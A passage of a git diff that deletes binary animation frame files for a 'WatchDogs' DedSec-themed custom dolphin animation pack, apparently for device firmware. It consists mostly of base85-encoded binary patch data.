z_p5n4Km!F2ln%fT5$NB+=zll}d}syHzu)g4{y03qBk*F6^Y#xP$Ag9sBMAe<`agU9 zEFL}adV|N1J1BSK$KU&lMhssdd2{3O?~mN%An_2AJiZgKphbJ1IGK$j$sfZ0}hNHfG<7;=l>jGkMkZ6YKH>%|Ax#x zcfk2Tf#n0JU@m{@?%@U~!N4xWK3)tD-u<}gfBNLX2afi9m;laa07VD_ J;Ri(kJZOebFhBqR diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_22.bm deleted file mode 100644 index eacbae711756efb5dd4a420d246f01efea9a23ce..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 676 zcmV;V0$cq70H6YZKyVTG2LnI<|A9mRaC`tfVeknD9v1+I1JV=^9t0i%fcL;)5y&t+ z!lmE=4*~=#F#<#&9{`d727Vnt0E5c<2S51CV^9ddaL8g0J3t6wkO)K)0Wcp73?6p? zdENj*4-f+A0q8;zkpK{CLBbb|a6-WHoC1U-AQK@8NTdORhyui7DU$FbQ-J`mCPW$~ z;`lR(G$SFPI0!I*nfxGLLs1Zp0G6N0`Iy1zoIrTq0D}SrpMV~659R*&85lS`%_dVB z<@g>v0C~Ve=YWUDm!tq!*|Y{21~S2e)8WInd7NkuZwH3o^N+GbUmp*IJwPgvcpL#j zK=J%f{{iw)2t0rXaQuJ&^YAdJgl0yB{BPI-2Qc|5$y{my0*r71LG}I%#{UNwkbI^9 z^Zx_HfHS$|0vrk%z&NLX@%xAd{t6KJ1J3>rPxvT9~efT`CUk`=k9^MV?Ke+?AHU%^!^aqXipWcJtFAy+#FUx^>|K}iczu-tg z?|c8}V1AL1hsC~<3r&H)a9LBPjgfOju?kU_)2<_!=4 z$^*!4AbEHJ1*kibEP{70iy#}5UoH484w7-@B)(1Q3L1%FnNF*fdile z%zkh}f%qV1vw%TTr{Bvm32B&g4bZF&Jl(0T?_H=z-@D;9I=VFlj(R=C&xug5UFx zgVd}%0SLnx;-C;{x`)6YAbCL(!}tfb03Ky=|Np1>0C>KJ0xu@*<=ur@Oh{VPq@xO!7#31uA zm%!RT``A5BW<5Z9L&54@8~8kY9v}EUkE8nskN@H02dn@dKaaitzx(+6{$TVklJr64 z^Yj1kAn`Y+!=E4T1IO>(z(axU--GwQcmLPGp8pN_JbZWi#6W)j4eUR;1D)z10P+{7 zg8R?!VCVhD*t65X@f*+oITMKD0rIRI?r;14gp0@)Ao9Rm|J&Nu)=>xtn2bl`fcxLK zpSkQR8Ni2z$R02~2c9{&y+t8VP5>-~X8`xcKM*5GlSI}~2zZ2G9_Y^Ew0R(ULBZvS zs6YS$izP^d*SUMtga{t6;E75BrT`fP03J|i0X%gvKxsxG7XWyHggzkgkkEnUya%Xg zVdB+<0LUUR2xJ0X0MJnZWC#$5jK%>RfLjCW5D1_=uZ4kv1W=SA5r9r0AAn*liWCPs uz&z$4A^(HKIwA5Y2t2SKkN*wqB6K+k(6Ar>{Co&0!E%a-nuHHU@P~*iaY$nT diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_24.bm deleted file mode 100644 index 2677c37a1140997938e2eb973da138fd49c7b079..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 703 zcmV;w0zmx%0J{Q!cpz{K_&)Fe@t=a40t7#V2p<8Ff&m6#0vLD*dI2+o1rG2*I0x`X zqOpKZ0q21K-{AvB2amvxU;q4kAAA6NL;yn^fPD&t4-x@J1BC#O3dB5K9{>IhNE2aT z4T2dT1U^7D5P19sM+d+TL>4><4}dH?2n7Hh{s0JxhyqLDzzPrG6dCd$gu)LV0yt-o z55ROlf)5}H7|C8&z}gZB9wspdkQ_&34-hzo#DYJ|`VdPa4+p5kr`OQdNFHDj;9I=IF+mI{9%(WB3`XDc28q;RkO*^xZvqpCs0#QG zDDXVN0-hh>Jj5aoAP9rY|NBr7eB%J}Ul#xJ4-?SI0qWTmaQ{E>ci_PR<{c1uf4~AD z5P46b0Mda#Kfv<;$6x@#4hc|zq7Oj;ss=bRAb8)w=;9E02hZXE{eSOZ^ED8B!=?{J z(2vl%H}H7)JU{S!e!=7a_;|tM+z@(xKKK6r@8j?Jz%Bsx7l=H5et-M~9^W2(f4mPL zzjS{89{eA@^S}PS0{8px!Q)0SFb4bYa{9 zv3?~1;gTmt9uFvZJvA{%1^NSk2Z#h=qVYQq!b3t332J1P8!5 z9TgBBQ~(fz(|`{YVFS!!K=T%inhFpw0Kvi{4-lC{L5DDa21GVOQ3s4LWFP^ZzzHHd lC^3|?f%6Ryz_xJg1bzV+2M{Q~06_zcIov8D01xr9VDScwCj|fi diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_25.bm deleted file mode 100644 index f43d3287276b6426a4fe40cb295d93178c41b5f2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 760 zcmVaVVfC>(YOHw4j>T^hhU-;>)LFg|T;5{ec@(_?bU>ERuU%~J2Hjn=H4=9j4Yy{Hy2TUGurCC6Sqwp?` z`~p4?5B@C45PJT>Mam>{QUp;h&{d>`2Tnw zKYr{$zAylKci{c+o&WXlAB;R6pB?x-e0TfBK>i^0@b6*$$QM; z?dR@$3IvY=22U_~M>iL!pghCt1NX)^5GVuy9>o!Z`=dLG&^$#V4}3*H8ZZGkgGe5| z%ig3Or16J?#(@r$2Z}f^5P8SIWggT;0pbW2NRUJfC{Y27f`nWUc>Wb44;b)#p~B*i zoCn|mAbAZ&eW0R1Ai$x#KrR6G0}cXy0~z4NK!OVpc+VsdK>3(NLLov0jev|G0~HM5 q2xo!^sf0n}Aio32%s>LbL&4@U7{EQg0P&82M5HqSdww8d5`X|*mQ0BN diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_26.bm deleted file mode 100644 index e5e82386872efa73e0cd417732b7b59146e18a64..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 752 zcmVHfA9bBc=#Y8(gBPH0g(5{-~jW1 z;346$-~-3OQxO#W5+TupSOlaC5y9WdVj>td02mLBwAoO0ptfwzbrL{V213K&Qc zsKam$0f1})=LffWf#!Q4dT>5=|15kSF9N^=#TF`Y_(S|L_@n{0A@W#{!90Hn`jkK- zBNqsR%0c-5|EKY1Ndw8|EpZ2q|Ms9L!(_$dJZgx%e;4q33&b8U58%9i;sJyM&TtPf zXn+bb2M~GyMlcUT2?mG+Ao0J0(1Jkpo^U_^ul?*E1O!QWLwJBh0Yf~1NCT?| z6&QSD&=0^pK?Cp(h&)8YfCsIxJ}@W*2LKTmz&&jN^MG(5cnJ7Cd=L`p1KR-?2aqIS zpi>H*AcjGbC5SviBpwtAgo!Xf^yp!5FvF6R!~!r75d84q_eqFEU?1;s?0Uv}P`9DRF1ZM#82?(Tm5HNU~MCc&%pFkjk5rF?M=dvjX@ImC@ zIpz2sLGcHWG*E&M7~z;e!VeHAz#(u2@QsETmLKAPS^^Ik*gS&+ZucdK9)a;33?Jcd z^T*x8zz2~SO$87507M?5F@w2{JU;{ggV0tWQ2~$Q|NaNT6juZI-~Q*|aiBm0XMh5b zyhI{e5ecyb9wG7mf50O@2b)lVJorEL*$YW3Kaaitzx(j>{%R5jsJubr zFh)zF+YcX4i6ijia^OS=!eUG4<8-=;Q$AzjC>o&esTvp zkOS4GUJ2|!y@Q?B4G>e lXo6FZKp}zozW|0lAteE=2naCH5W~aj0Cqt`f%fBTAKr#R@jRrhl zI67HD;s_KV-W6jX2cVcrzTJcZ&9 zA0Hp*0sJon9)Avef4%eh@%!))`8Px!UHCXWZhj!p+ymkQ5P4_8@G z{NxU12q1X}&%r&1=dkm-#00)jfcfw*J@EL0Mt~nEAbj{2zi>QsF^dR1!{>y#|F^KM z41hkCfO$c_^=w24+BAdci`N17j%p}OVkU?^U>!0>&K>c))?^9zp3xf$Rwo0*A&2z%3AbQ9^Ykh=aveAW;E`d7uz*djQA) zKLtSw#1>E>2?NX$Ao3iLH2?#!0SKJIqXtrnIY#LP2a+T}1wVjz0p=ZG0LS1K05OBc XFa!{ha1DanNEi^}Kq2q~24D#w$1DG1 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_29.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_29.bm deleted file mode 100644 index 7affdf3f3ceaa0aa174af8372aecbddfb8f7e506..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 267 zcmZQ%U}t2gU_Kzn@PWO-hVcPEgpY35A&P<$nS5cZ~j$T$Nr}1LBlHs z>x4V5WrzO=2-IsBALL)a{K3wO^Fw_NCr>$t{lb6UzpGXMFw`Eh6Z_x(k6DKONcBd2 z_HG}?&ky$BvAnolBzOPAi#rP6r%3Fpf6w^wfkXa+@BixF|Nno$#zToA|9Ice`|Lf; z$N2l_K9RHI5pR9+pHD`8?}rBue=&UDk@(=_OIF6{h#z*9vuAi%t#f=X)BIe)SfJ*E zy5h%%$ue@q9R@Wi%3L!XH%?Hfy`wOLskZqT@}YKhODs!J+^W1^eGm=> z=l`6E#Bl-m;C}!6-2e9cAB+dj{k^SaL(mT&z599lp2C6k6x3Ftfcb!XqnU`U<2S93Lr5SODc*+eZ;p%$oSc6jXzVYrGkB2e(7afoiTRl(!vc?IOt(AQ|1uBw6(|e$B(Xig?(Tqp3SFom2aF5+9dH~3f*}GB zWQKtJpnrf02S9_3L>Tc!ILN32`if{M5()$$(%=D(NSP!L6l7;K0a2i814#rToZ|tA z51J(ahcLik0iqAQ2sH)bach7iM&h|(A>Id~1QUB2NFE_kR^WVKK>vh-nQET^I{*?4 z4>|-4B5DHyn&65k4^RMu$(ICHFQ9$UWN&DIn+|pW9soW^39)bzKgU9v{7ZiLy|F8Y;-Vc#!gY3FD@Obz zy^wi){QsBwl z$I$@bUVr(>oJSBJjsq}rx&QC@KNt_6`+Hi-hoBxmd-n79HH8D}DX6VQ0rLR&M>i0# zY=g=(xTOQ{5UPLz_b+;|ekz3b0QG_k_EACy=m4Vt%g|8+-T>SL6eHjcKWGEM9ssa) Cg`#Ev diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_5.bm deleted file mode 100644 index 8e7fae88f3045712fb0286db7728814451be1fb4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 331 zcmV-R0kr-B07n4;cmu#50PqKZJOSVj0C)qy9sq6x1RuT#I6r<7@P7U$;Qjss{2%x8 z2G1|S{f=A#`wXxrw%z7|gYUy{`J^-95BP)eJU@Vb|Nm(W{BQpt{8tb2{_(JAfCNE* z;CX+_Gdu^Nf^XpQ{e#B-jgSB9|9kg?o z^Iph2zJ7oF1it+E_&mP-zq&+iccd-yl7{NxUIs8>gW`_JEC z=VR!Aa4*07PDGCR~1Kk|h z2V@>`oy9AF53EH22vBf*_b+<2puoZND1aWv@DHuT5C%Vi{YWT4G5#1V05kaDGPD#- d2mT%&&Hz6!5MBoTy8s0KP65~)&Yz{mm-+xcyb<~3`-KAs+;ZW-gM;Vc5r$bf6Y%|TE#7Dy{2w|{h)ZT1s_o5aQ{E(`hf#PU`_i6m;O2q ziQqj16MqMf>>erz_<#Rj``^4DBGU)ibZ_AC@OXdV`1ymz|M2hwu_y7MNf6N~N z(eM8Let+x)zWn(3Jih(Fe0S*m@0mnu2l(H?``$VI;vf%y2KFD^fzI^`= zeGm=>=l`6EL~#N5;9mdu+~4;6AB+dj{k^SaL(mT&z4Li{p2C6k6x3Ftfcb!Xpcx1d zHbLbP+){z}h@b%pJpcjjUiDx>j05IT06mm2A3KO35P)U?X$1%fP%@2!_ds7O0DGhW WyOM`IJ%9m__yhW{Fb9A#3u4$lYj1`p4mdte`K2t#202zdJ-{|NX# z_z)k&{2zb72!rxG4?X}tFXKW7#5w^yzXQc3aqENw01ucv0vTiinYrM63wM}0AoxfX zzvmyo1MA@r_^1S`AO^5N6T|oiiwZsf@&EtQ0)-HK@Bd)&H^4kq!XX$OARhmKc#Fhf zKnJWqKfv<;$3hW22cUv);PL%~#l$4{|Ng)Czj!`HrVp~{-@)VH@c+T_^9POp;ot|) zp8wzd{C)ovd&tZ;66L_e)rG+dZ-`ce+Tb)@Ars+J^UNUe{u&q z)GMRGedqtMbFuV5I2YgkawQSO1LpVt&gTEO;Cx^{f9>sSDn5XC{qNh$-1YD z6vaTo5$*{HbZ`*xe8hDWpeTdq5kMN4K6{tFSU)8Y2n-MkFmQZoD2BrD7v@nyVw!#) wtPh<5eE)&%fL{SqAcBMT5cE0tu8Bq9M@Rr?1>#3ZY=i^;M@RrcgMj~nRO{uy$N&HU diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_LOGO/frame_8.bm deleted file mode 100644 index f98a03e59bc1766d59a629bf63870df19e700330..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 446 zcmV;v0YUx&0J;GHcmu!Y zh2!}D|H+~cfq4Em|FC%Yf$l0P|MUL?_wNVDw88dW8~8kY9v}EVK49^`{5$~o{{8R$|KG>o@dv-;Iw0}+`TwvG zdwhBE@OgdvfcWpx``Yy)wj{Xnc@!#(e0DJg%kpAQjcc^E_hWpR|VCQ4!2af{t z|IR?7IDmZK|M}eC_WTcc1{>%8-qy09*9Vv0{k*-$VN?Ko#Wj_vpgv&Q;uyey!VjNR zM^RcIOaeWK4L|`Soy*>?0SE`o@=*YQ@eiW}2fV{kM1gPt;!+@cN+>{MgM;268yo37ynw_XfHH;y>)`<}YHHf31qZJp17Q4r|7ro?ILH8fhzucIKhOLQkPmnO zJb&N;5D0!CAK-a^|gUjdV{>DM=@aMNweh7@R@t0Eg-*gyH`{ zYykL>P=tg3fOrA!r!EKnes>^yPqY+I2mU@m5OV{?CSUYmgWyy!PU+zz{$OKmGxe4i9_yJ$xYd|AE)y4QT)H9--Flxb4?Caw{+}RvqnC%_-+_c)aPvWb_dom( z2mVJH;V6OWod5oF>468PJbq^(zeWS>4?|GTrU3H=5ItK%F%Q5vz4QEhpM20D(SR2} zBcB8FA2XkW*eJ1yfINxkhYBxpJ--L!a~uaK;3&A@^T*HU|A}}UUt$k!dJv)QwFjrY z{2=qsgWc9Ip#}<2LGIrj@BhvZ6Tz3zIy=ArfFD8e@&EoNQ3t^6WAFel^9!`lQ8a2deC?1z2;86U;~ NNPmGzKmmZj0}9@(;dlT5 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_1.bm deleted file mode 100644 index c11f04ac51bfd1cf1f8c8717e2af41359294e077..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 572 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 D7%0vL diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_13.bm deleted file mode 100644 index cd65a69fc9001df3bdabb04de8f42a364d769cdd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 817 zcmV-11J3*b04)Q6b3fn#t5tfSLH2?RZ~uUMz@vZH`oHu4_zZXd@L=EoL;L3bfg@iI zmw*3T2Z$Jc{m@wnhyYpt{{RR-+fXe&pfbPzyx>ypgO3043ZMZ0VDu-5sE31p0*}mm znL;W5e}F+X2#CAa{2&y6U;iKA3Ni6v1d1#E7#{EjIP=LS2mhlNpX`D^{x~4LU%&Lk ztY+iufQMg|_Iv#QWf6zSyjT5QYyW!lE5$%0Lh+4q{1t?eCMrc>~HlN&VZPRQoUb`F_TT2L2By4^wG?h2(AUSS0{nDDsc<^*QPVe(!(T z!Y~2xKb%4(A%H`2m)SK3fE^KeKmZ4uj$QPTYyduCS_=O6RoHKd0AS$siufkhs_lv3 zU-|ewKVAOr|6kBQpa0bY2Mz*Bb+6<1{xA0b?hhaSzMH4N(mPmu*4S7q5&#!J=JOr3 zR2Vy7{(K&RQP9;ow649|jvrtF5Qn1u9;l>V1R+RN18x7U_`~E6U;I`9e*ORXVe$YM z@CI7FS6DbcL-74VqyPMXhkswH?|$F!ia3B{|0D}?)zSL54c_>fx4T|)^SbQrL74*1~Wg zXy3s^&k}h&4FCW8|L?+OfB_HhoBjlid^%nK z{cIi}Vf*(%WELN26tn;S01$t+ph*A(UL%tKdBCOH2Oa<56+p{?2do1x=%lzy5$w_qAm6?M0vf0YnR!yZ*3wYxeTk1ppqq-BEn6^;j$dK>_$~_8_6J z?L*~Py~}DbSyw~;w`+#WOS4Z9<%ghYD3d-gZ{A59Hb=T*jFI??z= z0hU1VkJI&3Pi|tT+mpa>1OdOF$`OU-U*o(le8v;ON2maB9r;ER6>gg88AK0A1p+Cd zp;TjdBZ0xe=Kz$@D7vV&Af9vZ`b20N9+X!i9v=8eZBP(_b$wL|>^Dm7AGt)g^x8cM zlszvE3^+OQcz_F^Q;Wf2QeAEvx?d1+fk!__jZiYWstB-i;Pe9weygCR_ORQc@f?JL zbo#GXBp)AWJk zC}06Z2^7KOfBFFi|Nh^k$O3=v*yTBOZz~%Qt z4%Fga|JcyD;32o)fB)%M>@G&*9f{mlrT6=&j6Ox;?*D$?`%jr(An_U(jBGn?@PKOn zAo)eXqW2Cy+p?PzVL)zTz(StR_%!V1Ntpf9#Ko)(=P^JnQdb-s*>i z0}rRd|FH!Pe`+5%R6>CSglIQ=pm|oo=O2iEAn|SjtX_q(2b}&P2!=;I9{rH)Z|XCF z-{KGmMEil?;+M;|A5eJTJRg6v_&@~@{0Gzh!1KWW0MQ|g9uWoyj)E2Z@PFVy@(+?U zOXUyxa6a%5c<=te@tr_u0`UL{d~3o0LuVRIrw^TAKm(htw-?y z45JG`s)x_+Q7Zj6PXSE~0>yx?|MTMU02e>!0}YJ=p+E)*xPS%U`>2Kh^&AH1J|Oe} z2z-nqKn{q6R6+naSbaZ2@&~P7R|3G=uo|!aJQ#n}G2r+Y`UcbvKVR4|e*htmi^)EI zfB(c7AtDEvL|5bQ{(}gNA@zX=%lr&4OVGol4S|AaE z3&wsAHks9Wx~*=s-aEhhU|GVnU{No`2vKlh@67105Fs@Z{y7ynbN=bVzyE`R3l)%n z3!g9e1IzjE+nxj}AoBD5{(w^a4+tJU@PT~({s2*aMQ4BW0Sm|P^Z`q*Iy!mS|37{a MZ7<~U%kjr2?}5vPwg3PC diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_16.bm deleted file mode 100644 index 9c94e7592e97221c0380555ba42bcbf966cdfcbb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 860 zcmV-i1Ec%_09XTnb3fn#t5tfSLH2?RZ~uUMz@vZH>c8{<|Lgz1|APkr0w3Qu^?(1@ z!=>N<*1_TiAHQ@KLSg_GfB(P&5BAgxPlyb!|L-^yyI|wL{X(b!KiEAwfI|L{1e8Dj zmXvhi|+6f3>#XGQ2}110NXJYTzN)-~B=I zi-XA2Kfkwo`!Bz|%m0@$AN$|GC5-;MA{rGzp z_f%gX0NcM~A^-n2D{|U{j21h8SU`V!uz6O+$kr5i|HeWC9lpqZzW;4&`|sI~#{L%| zaqp{WLG7``zCEz|-TbM+_x<0(04RUpK3@9sP=D}nNf5>l2vH6E3?qT-z{4gV7zVS) z`_KQSU+z2(0sP;F#vclxd3E^Exc{*5uz3Ie!11p{KEJ*`KB2zn%%C3tsDs8m1^oB* z)c>FQ-#vhMH{$`7VN&!&+ch}+{7=!}Ji>-hBP^gT69#i-Q03JL^Z&SAssKF^a!ubE~P!R~w zEB_7lr&IZxyU`oFNe ze!s9-{sHCJ*MkRd`v3X={}5P&i~qmfdw=@d=zM>m!hZ+=t?r@Ufk)5&5s&}M4?p+r z{#q-!eEfg2K;QSEAqtn&9)7cmSHOoq2b)aFB#AxRAV7o1Sedj(VgMERlgb_)G4TAr z#IF=#3QPnt^jLrgpMUxh3;G=%@Bf$M2cDchSO3=ku2UR;Odei4zsL$-gy4V&XW#-C m-`)i_0f|SR1TPQYpam~kSYBga=O@qK#0?s(^5|l}{(j&kQq9i* diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_17.bm deleted file mode 100644 index 987e2bdc675dfc9baa424e29e85ab0a005928014..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 823 zcmV-71IYXV05b!Cb3fn#t5tfx`~Q>>TYvlm-US=}zt#Vr-~T`T|NIy@01*E9zo1Ch z|KaiP|Lb7!4-enEDIl==z@?x6@BoATwE{>0Bq1D^`_2U}*f{U~AgTZl_61C!48Nnn zzkx^Q5-)ZCR7F4U@CY;Va)01}A^m^+e}E{*#!3Fke})IV0ggPFLsFQDkM=7spTw^f0FevEE*_8=um52ARlx)zE&Xq5 z4;RVh%!mKi)S$kP)%)5A9`>zNm;G!41NHaz3B(Uwd`iIq^?%;Qz10s0K2Tny1F8Mo zf(F0!52tU0pdUy7b`L7s#dbg2{^3?2aof~^$=~>DyT2d4jCMEm8Gr`w`TKpmKK0pm z#$*61@3VJX^Zoko;Q$mr@BZ*d2V>$As-_iTDx|Nc~)FK|3})rzzi|0Ux0?)Ufk2g*Hp+jDmFoW@@NJO&Q@ z{vh$J>u_G!WL;^XH&%_}V1bRpL`kYg= zdj0$i0{}o1`NSkvoCIR4*UG_o0nrzf001(G1oIV-?8dYV@dus)0YHFiJse-mE|B0Q z_=m_IF^$KMYYzAW$9~%oc>o9D@B4e=V)5UT$Ny@8hsFu8{cd5n|BC=q;v*_oUSEKU z+PC=NQ0K$sq%52U5i9TR=;Y%7AAj$`sZcJz{1|+J=m0H7)4%QG{?o*w5CLEJ@heTY z|KS&yJpcpMh)dQ_pq{GQJDY#CnBrWe!u_F9DM)(hpp$_K3D(ntW6?_AbDy2 z0P_BC&msU{U)?x=k9e%zCVC$L6u)BfIT~ob{vj!fj$Vc*Q2qG;Qm=r7tT^zgjzp`8 Bw*CMB diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_18.bm deleted file mode 100644 index d520e02c0aa6c1b8e1a81ef8ffc1a4a2f6856407..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 782 zcmV+p1M&O;015+ub3fn#t5tfSLH2?RZ~uUMz@vZH`nL1`|Lgz1|APkr0w3Qu^%ts# zPrv`IgTxF!e&`H!S-v*yTBOZz~%Qt z4%Fga|JcyD;32o)fB)%M>@G&*9f{mlrT6=&j6Ox;?*D$?`%jr(An_U(jBGn?@PKOn zAo)eXqW2Cy+p?PzVL)zTz(StR_%!V1Ntpf9#Ko)(=P^JnQdb-s*>i z0}rRd|FH!Pe`+5%R6>CSglIQ=pm|oo=O2iEAn|SjtX_q(2b}&P2!=;I9{rH)Z|XCF z-{KGmMEil?;+M;|A5eJTJRg6v_&@~@{0Gzh!1KWW0MQ|g9uWoyj)E2Z@PFVy@(+?U zOXUyxa6a%5c<=te@tr_u0`UL{d~3o0LuVRIrw^TAKm(htw-?y z45JG`s)x_+Q7Zj6PXSE~0>yx?|MTMU02e>!0}YJ=p+E)*xPS%U`>2Kh^&AH1J|Oe} z2z-nqKn{q6R6+naSbaZ2@&~P7R|3G=uo|!aJQ#n}G2r+Y`UcbvKVR4|e*htmi^)EI zfB(c7AtDEvL|5bQ{(}gNA@zX=%lr&4OVGol4S|AaE z3&wsAHks9Wx~*=s-aEhhU|GVnU{No`2vKlh@67105Fs@Z{y7ynbN=bVzyE`R3l)%n z3!g9e1IzjE+nxj}AoBD5{(w^a4+tJU@PT~({s2*aMQ4BW0Sm|P^Z`q*Iy!mS|37{a MZ7<~U%kjr2?}5vPwg3PC diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/DEDSEC_OLD/frame_19.bm deleted file mode 100644 index 823be26e61db397e26e7eb50a2db13eb0664b258..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 852 zcmV-a1FQT208j&fb3fn#t5tfSLHB|SZ~uS+ivL>&4FCW8|L?+OfB_HhoBjlid^%nK z{cIi}Vf*(%WELN26tn;S01$t+ph*A(UL%tKdBCOH2Oa<56+p{?2do1x=%lzy5$w_qAm6?M0vf0YnR!yZ*3wYxeTk1ppqq-BEn6^;j$dK>_$~_8_6J z?L*~Py~}DbSyw~;w`+#WOS4Z9<%ghYD3d-gZ{A59Hb=T*jFI??z= z0hU1VkJI&3Pi|tT+mpa>1OdOF$`OU-U*o(le8v;ON2maB9r;ER6>gg88AK0A1p+Cd 